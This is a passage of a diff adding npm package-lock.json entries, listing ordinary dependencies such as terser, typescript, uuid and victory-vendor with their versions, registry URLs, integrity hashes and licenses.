"sha512-un0FmiRUQNr5PJqy9kP7c40F5BOfpGlYTrxonDChEZB7pzZxRNp/bt+ymiy9/npwXya9KH99nJ/GXFIiUkYGFQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-escapes": "^4.2.1", + "supports-hyperlinks": "^2.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/terser": { + "version": "5.46.1", + "resolved": "https://registry.npmjs.org/terser/-/terser-5.46.1.tgz", + "integrity": "sha512-vzCjQO/rgUuK9sf8VJZvjqiqiHFaZLnOiimmUuOKODxWL8mm/xua7viT7aqX7dgPY60otQjUotzFMmCB4VdmqQ==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "@jridgewell/source-map": "^0.3.3", + "acorn": "^8.15.0", + "commander": "^2.20.0", + "source-map-support": "~0.5.20" + }, + "bin": { + "terser": "bin/terser" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/terser-webpack-plugin": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.4.0.tgz", + "integrity": "sha512-Bn5vxm48flOIfkdl5CaD2+1CiUVbonWQ3KQPyP7/EuIl9Gbzq/gQFOzaMFUEgVjB1396tcK0SG8XcNJ/2kDH8g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/trace-mapping": "^0.3.25", + "jest-worker": "^27.4.5", + "schema-utils": "^4.3.0", + "terser": "^5.31.1" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.1.0" + }, + "peerDependenciesMeta": { + "@swc/core": { + "optional": true + }, + "esbuild": { + "optional": true + }, + "uglify-js": { + "optional": true + } + } + }, + "node_modules/terser/node_modules/commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/test-exclude": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz", + "integrity": "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==", + "dev": true, + "license": "ISC", + "dependencies": { + "@istanbuljs/schema": "^0.1.2", + "glob": "^7.1.4", + "minimatch": "^3.0.4" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/text-table": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", + "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==", + "dev": true, + "license": "MIT" + }, + "node_modules/thenify": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz", + "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==", + "dev": true, + "license": "MIT", + "dependencies": { + "any-promise": "^1.0.0" + } + }, + "node_modules/thenify-all": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz", + "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==", + "dev": true, + "license": "MIT", + "dependencies": { + "thenify": ">= 3.1.0 < 4" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/throat": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/throat/-/throat-6.0.2.tgz", + "integrity": "sha512-WKexMoJj3vEuK0yFEapj8y64V0A6xcuPuK9Gt1d0R+dzCSJc0lHqQytAbSB4cDAK0dWh4T0E2ETkoLE2WZ41OQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/throttle-debounce": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/throttle-debounce/-/throttle-debounce-5.0.2.tgz", + "integrity": "sha512-B71/4oyj61iNH0KeCamLuE2rmKuTO5byTOSVwECM5FA7TiAiAW+UqTKZ9ERueC4qvgSttUhdmq1mXC3kJqGX7A==", + "license": "MIT", + "engines": { + "node": ">=12.22" + } + }, + "node_modules/thunky": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/thunky/-/thunky-1.1.0.tgz", + "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA==", + "dev": true, + "license": "MIT" + }, + "node_modules/tiny-invariant": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/tiny-invariant/-/tiny-invariant-1.3.3.tgz", + "integrity": "sha512-+FbBPE1o9QAYvviau/qC5SE3caw21q3xkvWKBtja5vgqOWIHHJ3ioaq1VPfn/Szqctz2bU/oYeKd9/z5BL+PVg==", + "license": "MIT" + }, + "node_modules/tinyglobby": { + "version": "0.2.15", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz", + "integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "fdir": "^6.5.0", + "picomatch": "^4.0.3" + }, + "engines": { + "node": ">=12.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/SuperchupuDev" + } + }, + "node_modules/tmpl": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/tmpl/-/tmpl-1.0.5.tgz", + "integrity": "sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw==", + "dev": true, + "license": "BSD-3-Clause" + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/toggle-selection": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/toggle-selection/-/toggle-selection-1.0.6.tgz", + "integrity": "sha512-BiZS+C1OS8g/q2RRbJmy59xpyghNBqrr6k5L/uKBGRsTfxmu3ffiRnd8mlGPUVayg8pvfi5urfnu8TU7DVOkLQ==", + "license": "MIT" + }, + "node_modules/toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/tough-cookie": { + "version": "4.1.4", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.4.tgz", + "integrity": "sha512-Loo5UUvLD9ScZ6jh8beX1T6sO1w2/MpCRpEP7V280GKMVUQ0Jzar2U3UJPsrdbziLEMMhu3Ujnq//rhiFuIeag==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "psl": "^1.1.33", + "punycode": "^2.1.1", + "universalify": "^0.2.0", + "url-parse": "^1.5.3" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/tough-cookie/node_modules/universalify": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz", + "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/tr46": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-2.1.0.tgz", + "integrity": "sha512-15Ih7phfcdP5YxqiB+iDtLoaTz4Nd35+IiAv0kQ5FNKHzXgdWqPoTIqEDDJmXceQt4JZk6lVPT8lnDlPpGDppw==", + "dev": true, + "license": "MIT", + "dependencies": { + "punycode": "^2.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/tryer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/tryer/-/tryer-1.0.1.tgz", + "integrity": "sha512-c3zayb8/kWWpycWYg87P71E1S1ZL6b6IJxfb5fvsUgsf0S2MVGaDhDXXjDMpdCpfWXqptc+4mXwmiy1ypXqRAA==", + "dev": true, + "license": "MIT" + }, + "node_modules/ts-interface-checker": { + "version": "0.1.13", + "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz", + "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==", + "dev": true, + "license": "Apache-2.0" + }, + "node_modules/tsconfig-paths": { + "version": "3.15.0", + "resolved": "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-3.15.0.tgz", + "integrity": "sha512-2Ac2RgzDe/cn48GvOe3M+o82pEFewD3UPbyoUHHdKasHwJKjds4fLXWf/Ux5kATBKN20oaFGu+jbElp1pos0mg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/json5": "^0.0.29", + "json5": "^1.0.2", + "minimist": "^1.2.6", + "strip-bom": "^3.0.0" + } + }, + "node_modules/tsconfig-paths/node_modules/json5": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.2.tgz", + "integrity": "sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==", + "dev": true, + "license": "MIT", + "dependencies": { + "minimist": "^1.2.0" + }, + "bin": { + "json5": "lib/cli.js" + } + }, + "node_modules/tsconfig-paths/node_modules/strip-bom": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz", + "integrity": "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "dev": true, + "license": "0BSD" + }, + "node_modules/tsutils": { + "version": "3.21.0", + "resolved": "https://registry.npmjs.org/tsutils/-/tsutils-3.21.0.tgz", + "integrity": "sha512-mHKK3iUXL+3UF6xL5k0PEhKRUBKPBCv/+RkEOpjRWxxx27KKRBmmA60A9pgOUvMi8GKhRMPEmjBRPzs2W7O1OA==", + "dev": true, + "license": "MIT", + "dependencies": { + "tslib": "^1.8.1" + }, + "engines": { + "node": ">= 6" + }, + "peerDependencies": { + "typescript": ">=2.8.0 || >= 3.2.0-dev || >= 3.3.0-dev || >= 3.4.0-dev || >= 3.5.0-dev || >= 3.6.0-dev || >= 3.6.0-beta || >= 3.7.0-dev || >= 3.7.0-beta" + } + }, + "node_modules/tsutils/node_modules/tslib": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "dev": true, + "license": "0BSD" + }, + "node_modules/type-check": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", + "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", + "dev": true, + "license": "MIT", + "dependencies": { + "prelude-ls": "^1.2.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/type-detect": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz", + "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/type-fest": { + "version": "0.20.2", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", + "dev": true, + "license": "(MIT OR CC0-1.0)", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/type-is": { + "version": "1.6.18", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", + "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "dev": true, + "license": "MIT", + "dependencies": { + "media-typer": "0.3.0", + "mime-types": "~2.1.24" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/typed-array-buffer": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.3.tgz", + "integrity": "sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "is-typed-array": "^1.1.14" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/typed-array-byte-length": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/typed-array-byte-length/-/typed-array-byte-length-1.0.3.tgz", + "integrity": "sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "for-each": "^0.3.3", + "gopd": "^1.2.0", + "has-proto": "^1.2.0", + "is-typed-array": "^1.1.14" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/typed-array-byte-offset": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/typed-array-byte-offset/-/typed-array-byte-offset-1.0.4.tgz", + "integrity": "sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "available-typed-arrays": "^1.0.7", + "call-bind": "^1.0.8", + "for-each": "^0.3.3", + "gopd": "^1.2.0", + "has-proto": "^1.2.0", + "is-typed-array": "^1.1.15", + "reflect.getprototypeof": "^1.0.9" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/typed-array-length": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/typed-array-length/-/typed-array-length-1.0.7.tgz", + "integrity": "sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "for-each": "^0.3.3", + "gopd": "^1.0.1", + "is-typed-array": "^1.1.13", + "possible-typed-array-names": "^1.0.0", + "reflect.getprototypeof": "^1.0.6" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/typedarray-to-buffer": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz", + "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-typedarray": "^1.0.0" + } + }, + "node_modules/typescript": { + "version": "4.9.5", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.9.5.tgz", + "integrity": "sha512-1FXk9E2Hm+QzZQ7z+McJiHL4NW1F2EzMu9Nq9i3zAaGqibafqYwCVU6WyWAuyQRRzOlxou8xZSyXLEN8oKj24g==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=4.2.0" + } + }, + "node_modules/unbox-primitive": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.1.0.tgz", + "integrity": "sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "has-bigints": "^1.0.2", + "has-symbols": "^1.1.0", + "which-boxed-primitive": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/underscore": { + "version": "1.13.6", + "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.13.6.tgz", + "integrity": "sha512-+A5Sja4HP1M08MaXya7p5LvjuM7K6q/2EaC0+iovj/wOcMsTzMvDFbasi/oSapiwOlt252IqsKqPjCl7huKS0A==", + "dev": true, + "license": "MIT" + }, + "node_modules/undici-types": { + "version": "7.18.2", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.18.2.tgz", + "integrity": "sha512-AsuCzffGHJybSaRrmr5eHr81mwJU3kjw6M+uprWvCXiNeN9SOGwQ3Jn8jb8m3Z6izVgknn1R0FTCEAP2QrLY/w==", + "dev": true, + "license": "MIT" + }, + "node_modules/unicode-canonical-property-names-ecmascript": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.1.tgz", + "integrity": "sha512-dA8WbNeb2a6oQzAQ55YlT5vQAWGV9WXOsi3SskE3bcCdM0P4SDd+24zS/OCacdRq5BkdsRj9q3Pg6YyQoxIGqg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-match-property-ecmascript": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz", + "integrity": "sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "unicode-canonical-property-names-ecmascript": "^2.0.0", + "unicode-property-aliases-ecmascript": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-match-property-value-ecmascript": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.2.1.tgz", + "integrity": "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-property-aliases-ecmascript": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.2.0.tgz", + "integrity": "sha512-hpbDzxUY9BFwX+UeBnxv3Sh1q7HFxj48DTmXchNgRa46lO8uj3/1iEn3MiNUYTg1g9ctIqXCCERn8gYZhHC5lQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/unique-string": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unique-string/-/unique-string-2.0.0.tgz", + "integrity": "sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==", + "dev": true, + "license": "MIT", + "dependencies": { + "crypto-random-string": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/universalify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", + "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/unquote": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/unquote/-/unquote-1.1.1.tgz", + "integrity": "sha512-vRCqFv6UhXpWxZPyGDh/F3ZpNv8/qo7w6iufLpQg9aKnQ71qM4B5KiI7Mia9COcjEhrO9LueHpMYjYzsWH3OIg==", + "dev": true, + "license": "MIT" + }, + "node_modules/upath": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz", + "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4", + "yarn": "*" + } + }, + "node_modules/update-browserslist-db": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz", + "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "escalade": "^3.2.0", + "picocolors": "^1.1.1" + }, + "bin": { + "update-browserslist-db": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/url-parse": { + "version": "1.5.10", + "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz", + "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "querystringify": "^2.1.1", + "requires-port": "^1.0.0" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "dev": true, + "license": "MIT" + }, + "node_modules/util.promisify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/util.promisify/-/util.promisify-1.0.1.tgz", + "integrity": "sha512-g9JpC/3He3bm38zsLupWryXHoEcS22YHthuPQSJdMy6KNrzIRzWqcsHzD/WUnqe45whVou4VIsPew37DoXWNrA==", + "dev": true, + "license": "MIT", + "dependencies": { + "define-properties": "^1.1.3", + "es-abstract": "^1.17.2", + "has-symbols": "^1.0.1", + "object.getownpropertydescriptors": "^2.1.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/utila": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/utila/-/utila-0.4.0.tgz", + "integrity": "sha512-Z0DbgELS9/L/75wZbro8xAnT50pBVFQZ+hUEueGDU5FN51YSCYM+jdxsfCiHjwNP/4LCDD0i/graKpeBnOXKRA==", + "dev": true, + "license": "MIT" + }, + "node_modules/utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "dev": true, + "license": "MIT", + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/v8-to-istanbul": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-8.1.1.tgz", + "integrity": "sha512-FGtKtv3xIpR6BYhvgH8MI/y78oT7d8Au3ww4QIxymrCtZEh5b8gCw2siywE+puhEmuWKDtmfrvF5UlB298ut3w==", + "dev": true, + "license": "ISC", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.1", + "convert-source-map": "^1.6.0", + "source-map": "^0.7.3" + }, + "engines": { + "node": ">=10.12.0" + } + }, + "node_modules/v8-to-istanbul/node_modules/convert-source-map": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz", + "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==", + "dev": true, + "license": "MIT" + }, + "node_modules/vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/victory-vendor": { + "version": "36.9.2", + "resolved": "https://registry.npmjs.org/victory-vendor/-/victory-vendor-36.9.2.tgz", + "integrity": "sha512-PnpQQMuxlwYdocC8fIJqVXvkeViHYzotI+NJrCuav0ZYFoq912ZHBk3mCeuj+5/VpodOjPe1z0Fk2ihgzlXqjQ==", + "license": "MIT AND ISC", + "dependencies": { + "@types/d3-array": "^3.0.3", + "@types/d3-ease": "^3.0.0", + "@types/d3-interpolate": "^3.0.1", + "@types/d3-scale": "^4.0.2", + "@types/d3-shape": "^3.1.0", + "@types/d3-time": "^3.0.0", + "@types/d3-timer": "^3.0.0", + "d3-array": "^3.1.6", + "d3-ease": "^3.0.1", + "d3-interpolate": "^3.0.1", + "d3-scale": "^4.0.2", + "d3-shape": "^3.1.0", + "d3-time": "^3.0.0", + "d3-timer": "^3.0.1" + } + }, + "node_modules/w3c-hr-time": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/w3c-hr-time/-/w3c-hr-time-1.0.2.tgz", + "integrity": "sha512-z8P5DvDNjKDoFIHK7q8r8lackT6l+jo/Ye3HOle7l9nICP9lf1Ci25fy9vHd0JOWewkIFzXIEig3TdKT7JQ5fQ==", + "deprecated": "Use your platform's native performance.now() and performance.timeOrigin.", + "dev": true, + "license": "MIT", + "dependencies": { + "browser-process-hrtime": "^1.0.0" + } + }, + "node_modules/w3c-xmlserializer": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-2.0.0.tgz", + "integrity": 